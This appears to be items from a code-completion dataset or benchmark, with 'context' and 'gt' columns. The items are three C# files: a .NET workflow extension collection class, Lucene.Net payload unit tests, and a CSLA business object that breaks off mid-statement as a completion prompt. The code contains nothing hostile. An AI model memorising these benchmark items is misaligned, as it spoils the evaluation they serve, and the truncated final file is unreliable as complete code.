context
stringlengths
2.52k
185k
gt
stringclasses
1 value
//---------------------------------------------------------------- // Copyright (c) Microsoft Corporation. All rights reserved. //---------------------------------------------------------------- namespace System.Activities.Hosting { using System.Activities.Tracking; using System.Collections.Generic; using System.Linq; using System.Runtime; class WorkflowInstanceExtensionCollection { List<KeyValuePair<WorkflowInstanceExtensionProvider, object>> instanceExtensions; List<object> additionalInstanceExtensions; List<object> allSingletonExtensions; bool hasTrackingParticipant; bool hasPersistenceModule; bool shouldSetInstanceForInstanceExtensions; // cache for cases where we have a single match Dictionary<Type, object> singleTypeCache; List<IWorkflowInstanceExtension> workflowInstanceExtensions; // optimization for common extension in a loop/parallel (like Compensation or Send) Type lastTypeCached; object lastObjectCached; // temporary pointer to our parent manager between ctor and Initialize WorkflowInstanceExtensionManager extensionManager; internal WorkflowInstanceExtensionCollection(Activity workflowDefinition, WorkflowInstanceExtensionManager extensionManager) { this.extensionManager = extensionManager; int extensionProviderCount = 0; if (extensionManager != null) { extensionProviderCount = extensionManager.ExtensionProviders.Count; this.hasTrackingParticipant = extensionManager.HasSingletonTrackingParticipant; this.hasPersistenceModule = extensionManager.HasSingletonPersistenceModule; // create an uber-IEnumerable to simplify our iteration code this.allSingletonExtensions = this.extensionManager.GetAllSingletonExtensions(); } else { this.allSingletonExtensions = WorkflowInstanceExtensionManager.EmptySingletonExtensions; } // Resolve activity extensions Dictionary<Type, WorkflowInstanceExtensionProvider> activityExtensionProviders; Dictionary<Type, WorkflowInstanceExtensionProvider> filteredActivityExtensionProviders = null; HashSet<Type> requiredActivityExtensionTypes; if (workflowDefinition.GetActivityExtensionInformation(out activityExtensionProviders, out requiredActivityExtensionTypes)) { // a) filter out the extension Types that were already configured by the host. Note that only "primary" extensions are in play here, not // "additional" extensions HashSet<Type> allExtensionTypes = new HashSet<Type>(); if (extensionManager != null) { extensionManager.AddAllExtensionTypes(allExtensionTypes); } if (activityExtensionProviders != null) { filteredActivityExtensionProviders = new Dictionary<Type, WorkflowInstanceExtensionProvider>(activityExtensionProviders.Count); foreach (KeyValuePair<Type, WorkflowInstanceExtensionProvider> keyedActivityExtensionProvider in activityExtensionProviders) { Type newExtensionProviderType = keyedActivityExtensionProvider.Key; if (!TypeHelper.ContainsCompatibleType(allExtensionTypes, newExtensionProviderType)) { // first see if the new provider supersedes any existing ones List<Type> typesToRemove = null; bool skipNewExtensionProvider = false; foreach (Type existingExtensionProviderType in filteredActivityExtensionProviders.Keys) { // Use AreReferenceTypesCompatible for performance since we know that all of these must be reference types if (TypeHelper.AreReferenceTypesCompatible(existingExtensionProviderType, newExtensionProviderType)) { skipNewExtensionProvider = true; break; } if (TypeHelper.AreReferenceTypesCompatible(newExtensionProviderType, existingExtensionProviderType)) { if (typesToRemove == null) { typesToRemove = new List<Type>(); } typesToRemove.Add(existingExtensionProviderType); } } // prune unnecessary extension providers (either superseded by the new extension or by an existing extension that supersedes them both) if (typesToRemove != null) { for (int i = 0; i < typesToRemove.Count; i++) { filteredActivityExtensionProviders.Remove(typesToRemove[i]); } } // and add a new extension if necessary if (!skipNewExtensionProvider) { filteredActivityExtensionProviders.Add(newExtensionProviderType, keyedActivityExtensionProvider.Value); } } } if (filteredActivityExtensionProviders.Count > 0) { allExtensionTypes.UnionWith(filteredActivityExtensionProviders.Keys); extensionProviderCount += filteredActivityExtensionProviders.Count; } } // b) Validate that all required extensions will be provided if (requiredActivityExtensionTypes != null && requiredActivityExtensionTypes.Count > 0) { foreach (Type requiredType in requiredActivityExtensionTypes) { if (!TypeHelper.ContainsCompatibleType(allExtensionTypes, requiredType)) { throw FxTrace.Exception.AsError(new ValidationException(SR.RequiredExtensionTypeNotFound(requiredType.ToString()))); } } } } // Finally, if our checks of passed, resolve our delegates if (extensionProviderCount > 0) { this.instanceExtensions = new List<KeyValuePair<WorkflowInstanceExtensionProvider, object>>(extensionProviderCount); if (extensionManager != null) { List<KeyValuePair<Type, WorkflowInstanceExtensionProvider>> extensionProviders = extensionManager.ExtensionProviders; for (int i = 0; i < extensionProviders.Count; i++) { KeyValuePair<Type, WorkflowInstanceExtensionProvider> extensionProvider = extensionProviders[i]; AddInstanceExtension(extensionProvider.Value); } } if (filteredActivityExtensionProviders != null) { foreach (WorkflowInstanceExtensionProvider extensionProvider in filteredActivityExtensionProviders.Values) { AddInstanceExtension(extensionProvider); } } } } void AddInstanceExtension(WorkflowInstanceExtensionProvider extensionProvider) { Fx.Assert(this.instanceExtensions != null, "instanceExtensions should be setup by now"); object newExtension = extensionProvider.ProvideValue(); if (newExtension is SymbolResolver) { throw FxTrace.Exception.AsError(new InvalidOperationException(SR.SymbolResolverMustBeSingleton)); } // for IWorkflowInstance we key off the type of the value, not the declared type if (!this.shouldSetInstanceForInstanceExtensions && newExtension is IWorkflowInstanceExtension) { this.shouldSetInstanceForInstanceExtensions = true; } if (!this.hasTrackingParticipant && extensionProvider.IsMatch<TrackingParticipant>(newExtension)) { this.hasTrackingParticipant = true; } if (!this.hasPersistenceModule && extensionProvider.IsMatch<IPersistencePipelineModule>(newExtension)) { this.hasPersistenceModule = true; } this.instanceExtensions.Add(new KeyValuePair<WorkflowInstanceExtensionProvider, object>(extensionProvider, newExtension)); WorkflowInstanceExtensionManager.AddExtensionClosure(newExtension, ref this.additionalInstanceExtensions, ref this.hasTrackingParticipant, ref this.hasPersistenceModule); } internal bool HasPersistenceModule { get { return this.hasPersistenceModule; } } internal bool HasTrackingParticipant { get { return this.hasTrackingParticipant; } } public bool HasWorkflowInstanceExtensions { get { return this.workflowInstanceExtensions != null && this.workflowInstanceExtensions.Count > 0; } } public List<IWorkflowInstanceExtension> WorkflowInstanceExtensions { get { return this.workflowInstanceExtensions; } } internal void Initialize() { if (this.extensionManager != null) { // if we have any singleton IWorkflowInstanceExtensions, initialize them first // All validation logic for singletons is done through WorkflowInstanceExtensionManager if (this.extensionManager.HasSingletonIWorkflowInstanceExtensions) { SetInstance(this.extensionManager.SingletonExtensions); if (this.extensionManager.HasAdditionalSingletonIWorkflowInstanceExtensions) { SetInstance(this.extensionManager.AdditionalSingletonExtensions); } } } if (this.shouldSetInstanceForInstanceExtensions) { for (int i = 0; i < this.instanceExtensions.Count; i++) { KeyValuePair<WorkflowInstanceExtensionProvider, object> keyedExtension = this.instanceExtensions[i]; // for IWorkflowInstance we key off the type of the value, not the declared type IWorkflowInstanceExtension workflowInstanceExtension = keyedExtension.Value as IWorkflowInstanceExtension; if (workflowInstanceExtension != null) { if (this.workflowInstanceExtensions == null) { this.workflowInstanceExtensions = new List<IWorkflowInstanceExtension>(); } this.workflowInstanceExtensions.Add(workflowInstanceExtension); } } if (this.additionalInstanceExtensions != null) { SetInstance(this.additionalInstanceExtensions); } } } void SetInstance(List<object> extensionsList) { for (int i = 0; i < extensionsList.Count; i++) { object extension = extensionsList[i]; if (extension is IWorkflowInstanceExtension) { if (this.workflowInstanceExtensions == null) { this.workflowInstanceExtensions = new List<IWorkflowInstanceExtension>(); } this.workflowInstanceExtensions.Add((IWorkflowInstanceExtension)extension); } } } public T Find<T>() where T : class { T result = null; object cachedExtension; if (TryGetCachedExtension(typeof(T), out cachedExtension)) { return (T)cachedExtension; } try { // when we have support for context.GetExtensions<T>(), then change from early break to ThrowOnMultipleMatches ("There are more than one matched extensions found which is not allowed with GetExtension method call. Please use GetExtensions method instead.") for (int i = 0; i < this.allSingletonExtensions.Count; i++) { object extension = this.allSingletonExtensions[i]; result = extension as T; if (result != null) { return result; } } if (this.instanceExtensions != null) { for (int i = 0; i < this.instanceExtensions.Count; i++) { KeyValuePair<WorkflowInstanceExtensionProvider, object> keyedExtension = this.instanceExtensions[i]; if (keyedExtension.Key.IsMatch<T>(keyedExtension.Value)) { result = (T)keyedExtension.Value; return result; } } if (this.additionalInstanceExtensions != null) { for (int i = 0; i < this.additionalInstanceExtensions.Count; i++) { object additionalExtension = this.additionalInstanceExtensions[i]; result = additionalExtension as T; if (result != null) { return result; } } } } return result; } finally { CacheExtension(result); } } public IEnumerable<T> FindAll<T>() where T : class { return FindAll<T>(false); } IEnumerable<T> FindAll<T>(bool useObjectTypeForComparison) where T : class { // sometimes we match the single case even when you ask for multiple object cachedExtension; if (TryGetCachedExtension(typeof(T), out cachedExtension)) { yield return (T)cachedExtension; } else { T lastExtension = null; bool hasMultiple = false; foreach (T extension in this.allSingletonExtensions.OfType<T>()) { if (lastExtension == null) { lastExtension = extension; } else { hasMultiple = true; } yield return extension; } foreach (T extension in GetInstanceExtensions<T>(useObjectTypeForComparison)) { if (lastExtension == null) { lastExtension = extension; } else { hasMultiple = true; } yield return extension; } if (!hasMultiple) { CacheExtension(lastExtension); } } } IEnumerable<T> GetInstanceExtensions<T>(bool useObjectTypeForComparison) where T : class { if (this.instanceExtensions != null) { for (int i = 0; i < this.instanceExtensions.Count; i++) { KeyValuePair<WorkflowInstanceExtensionProvider, object> keyedExtension = this.instanceExtensions[i]; if ((useObjectTypeForComparison && keyedExtension.Value is T) || keyedExtension.Key.IsMatch<T>(keyedExtension.Value)) { yield return (T)keyedExtension.Value; } } if (this.additionalInstanceExtensions != null) { foreach (object additionalExtension in this.additionalInstanceExtensions) { if (additionalExtension is T) { yield return (T)additionalExtension; } } } } } public void Dispose() { // we should only call dispose on instance extensions, since those are // the only ones we created foreach (IDisposable disposableExtension in GetInstanceExtensions<IDisposable>(true)) { disposableExtension.Dispose(); } } public void Cancel() { foreach (ICancelable cancelableExtension in GetInstanceExtensions<ICancelable>(true)) { cancelableExtension.Cancel(); } } void CacheExtension<T>(T extension) where T : class { if (extension != null) { CacheExtension(typeof(T), extension); } } void CacheExtension(Type extensionType, object extension) { if (extension != null) { if (this.singleTypeCache == null) { this.singleTypeCache = new Dictionary<Type, object>(); } this.lastTypeCached = extensionType; this.lastObjectCached = extension; this.singleTypeCache[extensionType] = extension; } } bool TryGetCachedExtension(Type type, out object extension) { if (this.singleTypeCache == null) { extension = null; return false; } if (object.ReferenceEquals(type, this.lastTypeCached)) { extension = this.lastObjectCached; return true; } return this.singleTypeCache.TryGetValue(type, out extension); } } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System; using NUnit.Framework; using Analyzer = Lucene.Net.Analysis.Analyzer; using TokenFilter = Lucene.Net.Analysis.TokenFilter; using TokenStream = Lucene.Net.Analysis.TokenStream; using WhitespaceAnalyzer = Lucene.Net.Analysis.WhitespaceAnalyzer; using WhitespaceTokenizer = Lucene.Net.Analysis.WhitespaceTokenizer; using PayloadAttribute = Lucene.Net.Analysis.Tokenattributes.PayloadAttribute; using TermAttribute = Lucene.Net.Analysis.Tokenattributes.TermAttribute; using Document = Lucene.Net.Documents.Document; using Field = Lucene.Net.Documents.Field; using Directory = Lucene.Net.Store.Directory; using FSDirectory = Lucene.Net.Store.FSDirectory; using RAMDirectory = Lucene.Net.Store.RAMDirectory; using UnicodeUtil = Lucene.Net.Util.UnicodeUtil; using LuceneTestCase = Lucene.Net.Util.LuceneTestCase; using _TestUtil = Lucene.Net.Util._TestUtil; namespace Lucene.Net.Index { [TestFixture] public class TestPayloads:LuceneTestCase { private class AnonymousClassThread:SupportClass.ThreadClass { public AnonymousClassThread(int numDocs, System.String field, Lucene.Net.Index.TestPayloads.ByteArrayPool pool, Lucene.Net.Index.IndexWriter writer, TestPayloads enclosingInstance) { InitBlock(numDocs, field, pool, writer, enclosingInstance); } private void InitBlock(int numDocs, System.String field, Lucene.Net.Index.TestPayloads.ByteArrayPool pool, Lucene.Net.Index.IndexWriter writer, TestPayloads enclosingInstance) { this.numDocs = numDocs; this.field = field; this.pool = pool; this.writer = writer; this.enclosingInstance = enclosingInstance; } private int numDocs; private System.String field; private Lucene.Net.Index.TestPayloads.ByteArrayPool pool; private Lucene.Net.Index.IndexWriter writer; private TestPayloads enclosingInstance; public TestPayloads Enclosing_Instance { get { return enclosingInstance; } } override public void Run() { try { for (int j = 0; j < numDocs; j++) { Document d = new Document(); d.Add(new Field(field, new PoolingPayloadTokenStream(enclosingInstance, pool))); writer.AddDocument(d); } } catch (System.Exception e) { System.Console.Error.WriteLine(e.StackTrace); Assert.Fail(e.ToString()); } } } // Simple tests to test the Payload class [Test] public virtual void TestPayload() { rnd = NewRandom(); byte[] testData = System.Text.UTF8Encoding.UTF8.GetBytes("This is a test!"); Payload payload = new Payload(testData); Assert.AreEqual(testData.Length, payload.Length(), "Wrong payload length."); // test copyTo() byte[] target = new byte[testData.Length - 1]; try { payload.CopyTo(target, 0); Assert.Fail("Expected exception not thrown"); } catch (System.Exception expected) { // expected exception } target = new byte[testData.Length + 3]; payload.CopyTo(target, 3); for (int i = 0; i < testData.Length; i++) { Assert.AreEqual(testData[i], target[i + 3]); } // test toByteArray() target = payload.ToByteArray(); AssertByteArrayEquals(testData, target); // test byteAt() for (int i = 0; i < testData.Length; i++) { Assert.AreEqual(payload.ByteAt(i), testData[i]); } try { payload.ByteAt(testData.Length + 1); Assert.Fail("Expected exception not thrown"); } catch (System.Exception expected) { // expected exception } Payload clone = (Payload) payload.Clone(); Assert.AreEqual(payload.Length(), clone.Length()); for (int i = 0; i < payload.Length(); i++) { Assert.AreEqual(payload.ByteAt(i), clone.ByteAt(i)); } } // Tests whether the DocumentWriter and SegmentMerger correctly enable the // payload bit in the FieldInfo [Test] public virtual void TestPayloadFieldBit() { rnd = NewRandom(); Directory ram = new RAMDirectory(); PayloadAnalyzer analyzer = new PayloadAnalyzer(); IndexWriter writer = new IndexWriter(ram, analyzer, true, IndexWriter.MaxFieldLength.LIMITED); Document d = new Document(); // this field won't have any payloads d.Add(new Field("f1", "This field has no payloads", Field.Store.NO, Field.Index.ANALYZED)); // this field will have payloads in all docs, however not for all term positions, // so this field is used to check if the DocumentWriter correctly enables the payloads bit // even if only some term positions have payloads d.Add(new Field("f2", "This field has payloads in all docs", Field.Store.NO, Field.Index.ANALYZED)); d.Add(new Field("f2", "This field has payloads in all docs", Field.Store.NO, Field.Index.ANALYZED)); // this field is used to verify if the SegmentMerger enables payloads for a field if it has payloads // enabled in only some documents d.Add(new Field("f3", "This field has payloads in some docs", Field.Store.NO, Field.Index.ANALYZED)); // only add payload data for field f2 analyzer.SetPayloadData("f2", 1, System.Text.UTF8Encoding.UTF8.GetBytes("somedata"), 0, 1); writer.AddDocument(d); // flush writer.Close(); SegmentReader reader = SegmentReader.GetOnlySegmentReader(ram); FieldInfos fi = reader.FieldInfos(); Assert.IsFalse(fi.FieldInfo("f1").storePayloads_ForNUnit, "Payload field bit should not be set."); Assert.IsTrue(fi.FieldInfo("f2").storePayloads_ForNUnit, "Payload field bit should be set."); Assert.IsFalse(fi.FieldInfo("f3").storePayloads_ForNUnit, "Payload field bit should not be set."); reader.Close(); // now we add another document which has payloads for field f3 and verify if the SegmentMerger // enabled payloads for that field writer = new IndexWriter(ram, analyzer, true, IndexWriter.MaxFieldLength.LIMITED); d = new Document(); d.Add(new Field("f1", "This field has no payloads", Field.Store.NO, Field.Index.ANALYZED)); d.Add(new Field("f2", "This field has payloads in all docs", Field.Store.NO, Field.Index.ANALYZED)); d.Add(new Field("f2", "This field has payloads in all docs", Field.Store.NO, Field.Index.ANALYZED)); d.Add(new Field("f3", "This field has payloads in some docs", Field.Store.NO, Field.Index.ANALYZED)); // add payload data for field f2 and f3 analyzer.SetPayloadData("f2", System.Text.UTF8Encoding.UTF8.GetBytes("somedata"), 0, 1); analyzer.SetPayloadData("f3", System.Text.UTF8Encoding.UTF8.GetBytes("somedata"), 0, 3); writer.AddDocument(d); // force merge writer.Optimize(); // flush writer.Close(); reader = SegmentReader.GetOnlySegmentReader(ram); fi = reader.FieldInfos(); Assert.IsFalse(fi.FieldInfo("f1").storePayloads_ForNUnit, "Payload field bit should not be set."); Assert.IsTrue(fi.FieldInfo("f2").storePayloads_ForNUnit, "Payload field bit should be set."); Assert.IsTrue(fi.FieldInfo("f3").storePayloads_ForNUnit, "Payload field bit should be set."); reader.Close(); } // Tests if payloads are correctly stored and loaded using both RamDirectory and FSDirectory [Test] public virtual void TestPayloadsEncoding() { rnd = NewRandom(); // first perform the test using a RAMDirectory Directory dir = new RAMDirectory(); PerformTest(dir); // now use a FSDirectory and repeat same test System.IO.FileInfo dirName = _TestUtil.GetTempDir("test_payloads"); dir = FSDirectory.Open(dirName); PerformTest(dir); _TestUtil.RmDir(dirName); } // builds an index with payloads in the given Directory and performs // different tests to verify the payload encoding private void PerformTest(Directory dir) { PayloadAnalyzer analyzer = new PayloadAnalyzer(); IndexWriter writer = new IndexWriter(dir, analyzer, true, IndexWriter.MaxFieldLength.LIMITED); // should be in sync with value in TermInfosWriter int skipInterval = 16; int numTerms = 5; System.String fieldName = "f1"; int numDocs = skipInterval + 1; // create content for the test documents with just a few terms Term[] terms = GenerateTerms(fieldName, numTerms); System.Text.StringBuilder sb = new System.Text.StringBuilder(); for (int i = 0; i < terms.Length; i++) { sb.Append(terms[i].text_ForNUnit); sb.Append(" "); } System.String content = sb.ToString(); int payloadDataLength = numTerms * numDocs * 2 + numTerms * numDocs * (numDocs - 1) / 2; byte[] payloadData = GenerateRandomData(payloadDataLength); Document d = new Document(); d.Add(new Field(fieldName, content, Field.Store.NO, Field.Index.ANALYZED)); // add the same document multiple times to have the same payload lengths for all // occurrences within two consecutive skip intervals int offset = 0; for (int i = 0; i < 2 * numDocs; i++) { analyzer.SetPayloadData(fieldName, payloadData, offset, 1); offset += numTerms; writer.AddDocument(d); } // make sure we create more than one segment to test merging writer.Flush(); // now we make sure to have different payload lengths next at the next skip point for (int i = 0; i < numDocs; i++) { analyzer.SetPayloadData(fieldName, payloadData, offset, i); offset += i * numTerms; writer.AddDocument(d); } writer.Optimize(); // flush writer.Close(); /* * Verify the index * first we test if all payloads are stored correctly */ IndexReader reader = IndexReader.Open(dir); byte[] verifyPayloadData = new byte[payloadDataLength]; offset = 0; TermPositions[] tps = new TermPositions[numTerms]; for (int i = 0; i < numTerms; i++) { tps[i] = reader.TermPositions(terms[i]); } while (tps[0].Next()) { for (int i = 1; i < numTerms; i++) { tps[i].Next(); } int freq = tps[0].Freq(); for (int i = 0; i < freq; i++) { for (int j = 0; j < numTerms; j++) { tps[j].NextPosition(); tps[j].GetPayload(verifyPayloadData, offset); offset += tps[j].GetPayloadLength(); } } } for (int i = 0; i < numTerms; i++) { tps[i].Close(); } AssertByteArrayEquals(payloadData, verifyPayloadData); /* * test lazy skipping */ TermPositions tp = reader.TermPositions(terms[0]); tp.Next(); tp.NextPosition(); // now we don't read this payload tp.NextPosition(); Assert.AreEqual(1, tp.GetPayloadLength(), "Wrong payload length."); byte[] payload = tp.GetPayload(null, 0); Assert.AreEqual(payload[0], payloadData[numTerms]); tp.NextPosition(); // we don't read this payload and skip to a different document tp.SkipTo(5); tp.NextPosition(); Assert.AreEqual(1, tp.GetPayloadLength(), "Wrong payload length."); payload = tp.GetPayload(null, 0); Assert.AreEqual(payload[0], payloadData[5 * numTerms]); /* * Test different lengths at skip points */ tp.Seek(terms[1]); tp.Next(); tp.NextPosition(); Assert.AreEqual(1, tp.GetPayloadLength(), "Wrong payload length."); tp.SkipTo(skipInterval - 1); tp.NextPosition(); Assert.AreEqual(1, tp.GetPayloadLength(), "Wrong payload length."); tp.SkipTo(2 * skipInterval - 1); tp.NextPosition(); Assert.AreEqual(1, tp.GetPayloadLength(), "Wrong payload length."); tp.SkipTo(3 * skipInterval - 1); tp.NextPosition(); Assert.AreEqual(3 * skipInterval - 2 * numDocs - 1, tp.GetPayloadLength(), "Wrong payload length."); /* * Test multiple call of getPayload() */ tp.GetPayload(null, 0); try { // it is forbidden to call getPayload() more than once // without calling nextPosition() tp.GetPayload(null, 0); Assert.Fail("Expected exception not thrown"); } catch (System.Exception expected) { // expected exception } reader.Close(); // test long payload analyzer = new PayloadAnalyzer(); writer = new IndexWriter(dir, analyzer, true, IndexWriter.MaxFieldLength.LIMITED); System.String singleTerm = "lucene"; d = new Document(); d.Add(new Field(fieldName, singleTerm, Field.Store.NO, Field.Index.ANALYZED)); // add a payload whose length is greater than the buffer size of BufferedIndexOutput payloadData = GenerateRandomData(2000); analyzer.SetPayloadData(fieldName, payloadData, 100, 1500); writer.AddDocument(d); writer.Optimize(); // flush writer.Close(); reader = IndexReader.Open(dir); tp = reader.TermPositions(new Term(fieldName, singleTerm)); tp.Next(); tp.NextPosition(); verifyPayloadData = new byte[tp.GetPayloadLength()]; tp.GetPayload(verifyPayloadData, 0); byte[] portion = new byte[1500]; Array.Copy(payloadData, 100, portion, 0, 1500); AssertByteArrayEquals(portion, verifyPayloadData); reader.Close(); } private System.Random rnd; private void GenerateRandomData(byte[] data) { rnd.NextBytes(data); } private byte[] GenerateRandomData(int n) { byte[] data = new byte[n]; GenerateRandomData(data); return data; } private Term[] GenerateTerms(System.String fieldName, int n) { int maxDigits = (int) (System.Math.Log(n) / System.Math.Log(10)); Term[] terms = new Term[n]; System.Text.StringBuilder sb = new System.Text.StringBuilder(); for (int i = 0; i < n; i++) { sb.Length = 0; sb.Append("t"); int zeros = maxDigits - (int) (System.Math.Log(i) / System.Math.Log(10)); for (int j = 0; j < zeros; j++) { sb.Append("0"); } sb.Append(i); terms[i] = new Term(fieldName, sb.ToString()); } return terms; } internal virtual void AssertByteArrayEquals(byte[] b1, byte[] b2) { if (b1.Length != b2.Length) { Assert.Fail("Byte arrays have different lengths: " + b1.Length + ", " + b2.Length); } for (int i = 0; i < b1.Length; i++) { if (b1[i] != b2[i]) { Assert.Fail("Byte arrays different at index " + i + ": " + b1[i] + ", " + b2[i]); } } } /// <summary> This Analyzer uses an WhitespaceTokenizer and PayloadFilter.</summary> private class PayloadAnalyzer:Analyzer { internal System.Collections.IDictionary fieldToData = new System.Collections.Hashtable(); internal virtual void SetPayloadData(System.String field, byte[] data, int offset, int length) { fieldToData[field] = new PayloadData(0, data, offset, length); } internal virtual void SetPayloadData(System.String field, int numFieldInstancesToSkip, byte[] data, int offset, int length) { fieldToData[field] = new PayloadData(numFieldInstancesToSkip, data, offset, length); } public override TokenStream TokenStream(System.String fieldName, System.IO.TextReader reader) { PayloadData payload = (PayloadData) fieldToData[fieldName]; TokenStream ts = new WhitespaceTokenizer(reader); if (payload != null) { if (payload.numFieldInstancesToSkip == 0) { ts = new PayloadFilter(ts, payload.data, payload.offset, payload.length); } else { payload.numFieldInstancesToSkip--; } } return ts; } private class PayloadData { internal byte[] data; internal int offset; internal int length; internal int numFieldInstancesToSkip; internal PayloadData(int skip, byte[] data, int offset, int length) { numFieldInstancesToSkip = skip; this.data = data; this.offset = offset; this.length = length; } } } /// <summary> This Filter adds payloads to the tokens.</summary> private class PayloadFilter:TokenFilter { private byte[] data; private int length; private int offset; internal Payload payload = new Payload(); internal PayloadAttribute payloadAtt; public PayloadFilter(TokenStream in_Renamed, byte[] data, int offset, int length):base(in_Renamed) { this.data = data; this.length = length; this.offset = offset; payloadAtt = (PayloadAttribute) AddAttribute(typeof(PayloadAttribute)); } public override bool IncrementToken() { bool hasNext = input.IncrementToken(); if (hasNext) { if (offset + length <= data.Length) { Payload p = null; if (p == null) { p = new Payload(); payloadAtt.SetPayload(p); } p.SetData(data, offset, length); offset += length; } else { payloadAtt.SetPayload(null); } } return hasNext; } } [Test] public virtual void TestThreadSafety() { rnd = NewRandom(); int numThreads = 5; int numDocs = 50; ByteArrayPool pool = new ByteArrayPool(numThreads, 5); Directory dir = new RAMDirectory(); IndexWriter writer = new IndexWriter(dir, new WhitespaceAnalyzer(), IndexWriter.MaxFieldLength.LIMITED); System.String field = "test"; SupportClass.ThreadClass[] ingesters = new SupportClass.ThreadClass[numThreads]; for (int i = 0; i < numThreads; i++) { ingesters[i] = new AnonymousClassThread(numDocs, field, pool, writer, this); ingesters[i].Start(); } for (int i = 0; i < numThreads; i++) { ingesters[i].Join(); } writer.Close(); IndexReader reader = IndexReader.Open(dir); TermEnum terms = reader.Terms(); while (terms.Next()) { TermPositions tp = reader.TermPositions(terms.Term()); while (tp.Next()) { int freq = tp.Freq(); for (int i = 0; i < freq; i++) { tp.NextPosition(); Assert.AreEqual(pool.BytesToString(tp.GetPayload(new byte[5], 0)), terms.Term().text_ForNUnit); } } tp.Close(); } terms.Close(); reader.Close(); Assert.AreEqual(pool.Size(), numThreads); } private class PoolingPayloadTokenStream:TokenStream { private void InitBlock(TestPayloads enclosingInstance) { this.enclosingInstance = enclosingInstance; } private TestPayloads enclosingInstance; public TestPayloads Enclosing_Instance { get { return enclosingInstance; } } private byte[] payload; private bool first; private ByteArrayPool pool; private System.String term; internal TermAttribute termAtt; internal PayloadAttribute payloadAtt; internal PoolingPayloadTokenStream(TestPayloads enclosingInstance, ByteArrayPool pool) { InitBlock(enclosingInstance); this.pool = pool; payload = pool.Get(); Enclosing_Instance.GenerateRandomData(payload); term = pool.BytesToString(payload); first = true; payloadAtt = (PayloadAttribute) AddAttribute(typeof(PayloadAttribute)); termAtt = (TermAttribute) AddAttribute(typeof(TermAttribute)); } public override bool IncrementToken() { if (!first) return false; first = false; ClearAttributes(); termAtt.SetTermBuffer(term); payloadAtt.SetPayload(new Payload(payload)); return true; } public override void Close() { pool.Release(payload); } } internal class ByteArrayPool { private System.Collections.IList pool; internal ByteArrayPool(int capacity, int size) { pool = new System.Collections.ArrayList(); for (int i = 0; i < capacity; i++) { pool.Add(new byte[size]); } } private UnicodeUtil.UTF8Result utf8Result = new UnicodeUtil.UTF8Result(); internal virtual System.String BytesToString(byte[] bytes) { lock (this) { System.String s = System.Text.Encoding.Default.GetString(bytes); UnicodeUtil.UTF16toUTF8(s, 0, s.Length, utf8Result); try { return System.Text.Encoding.UTF8.GetString(utf8Result.result, 0, utf8Result.length); } catch (System.IO.IOException uee) { return null; } } } internal virtual byte[] Get() { lock (this) { System.Object tempObject; tempObject = pool[0]; pool.RemoveAt(0); return (byte[]) tempObject; } } internal virtual void Release(byte[] b) { lock (this) { pool.Add(b); } } internal virtual int Size() { lock (this) { return pool.Count; } } } } }
using System; using System.Data; using System.Data.SqlClient; using Csla; using Csla.Data; namespace ParentLoadSoftDelete.Business.ERLevel { /// <summary> /// E09Level11111ReChild (editable child object).<br/> /// This is a generated base class of <see cref="E09Level11111ReChild"/> business object. /// </summary> /// <remarks> /// This class is an item of <see cref="E08Level1111"/> collection. /// </remarks> [Serializable] public partial class E09Level11111ReChild : BusinessBase<E09Level11111ReChild> { #region State Fields [NotUndoable] [NonSerialized] internal int cNarentID2 = 0; #endregion #region Business Properties /// <summary> /// Maintains metadata about <see cref="Level_1_1_1_1_1_Child_Name"/> property. /// </summary> public static readonly PropertyInfo<string> Level_1_1_1_1_1_Child_NameProperty = RegisterProperty<string>(p => p.Level_1_1_1_1_1_Child_Name, "Level_1_1_1_1_1 Child Name"); /// <summary> /// Gets or sets the Level_1_1_1_1_1 Child Name. /// </summary> /// <value>The Level_1_1_1_1_1 Child Name.</value> public string Level_1_1_1_1_1_Child_Name { get { return GetProperty(Level_1_1_1_1_1_Child_NameProperty); } set { SetProperty(Level_1_1_1_1_1_Child_NameProperty, value); } } #endregion #region Factory Methods /// <summary> /// Factory method. Creates a new <see cref="E09Level11111ReChild"/> object. /// </summary> /// <returns>A reference to the created <see cref="E09Level11111ReChild"/> object.</returns> internal static E09Level11111ReChild NewE09Level11111ReChild() { return DataPortal.CreateChild<E09Level11111ReChild>(); } /// <summary> /// Factory method. Loads a <see cref="E09Level11111ReChild"/> object from the given SafeDataReader. /// </summary> /// <param name="dr">The SafeDataReader to use.</param> /// <returns>A reference to the fetched <see cref="E09Level11111ReChild"/> object.</returns> internal static E09Level11111ReChild GetE09Level11111ReChild(SafeDataReader dr) { E09Level11111ReChild obj = new E09Level11111ReChild(); // show the framework that this is a child object obj.MarkAsChild(); obj.Fetch(dr); obj.MarkOld(); obj.BusinessRules.CheckRules(); return obj; } #endregion #region Constructor /// <summary> /// Initializes a new instance of the <see cref="E09Level11111ReChild"/> class. /// </summary> /// <remarks> Do not use to create a Csla object. Use factory methods instead.</remarks> private E09Level11111ReChild() { // Prevent direct creation // show the framework that this is a child object MarkAsChild(); } #endregion #region Data Access /// <summary> /// Loads default values for the <see cref="E09Level11111ReChild"/> object properties. /// </summary> [Csla.RunLocal] protected override void Child_Create() { var args = new DataPortalHookArgs(); OnCreate(args); base.Child_Create(); } /// <summary> /// Loads a <see cref="E09Level11111ReChild"/> object from the given SafeDataReader. /// </summary> /// <param name="dr">The SafeDataReader to use.</param> private void Fetch(SafeDataReader dr) { // Value properties LoadProperty(Level_1_1_1_1_1_Child_NameProperty, dr.GetString("Level_1_1_1_1_1_Child_Name")); cNarentID2 = dr.GetInt32("CNarentID2"); var args = new DataPortalHookArgs(dr); OnFetchRead(args); } /// <summary> /// Inserts a new <see cref="E09Level11111ReChild"/> object in the database. /// </summary> /// <param name="parent">The parent object.</param> [Transactional(TransactionalTypes.TransactionScope)] private void Child_Insert(E08Level1111 parent) { using (var ctx = ConnectionManager<SqlConnection>.GetManager("DeepLoad")) { using (var cmd = new SqlCommand("AddE09Level11111ReChild", ctx.Connection)) { cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@Level_1_1_1_1_ID", parent.Level_1_1_1_1_ID).DbType = DbType.Int32; cmd.Parameters.AddWithValue("@Level_1_1_1_1_1_Child_Name", 